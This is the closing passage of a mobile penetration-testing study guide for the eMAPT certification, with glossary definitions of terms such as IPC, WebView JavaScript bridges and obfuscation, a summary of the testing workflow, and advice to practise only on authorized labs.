  • IPC — inter-process communication (intents/providers on Android; URL schemes/XPC on iOS).

  • WebView / JS bridge — embedded browser; addJavascriptInterface exposes native methods to JS.

  • Obfuscation / deobfuscation — hiding logic (renaming, string/control-flow) / recovering it (often via runtime hooks).

  • MASVS / MASTG(MSTG) / Mobile Top 10 / PTES — the standard / testing guide / vuln taxonomy / engagement methodology.


End of guide. eMAPT is a practical, dual-platform engagement: map the attack surface, analyze statically and dynamically on both Android and iOS, test the backend API (where the real impact usually lives), reverse-engineer and deobfuscate as needed, and validate every finding with reproduction and impact, mapping to OWASP MASVS/MASTG. Practice only on intentionally-vulnerable apps and authorized labs — and understand each flaw deeply enough to explain why it exists, prove it, measure its impact, and tell a developer exactly how to fix it.

Leave a heart if you found this helpful

Comments

Sign in to leave a comment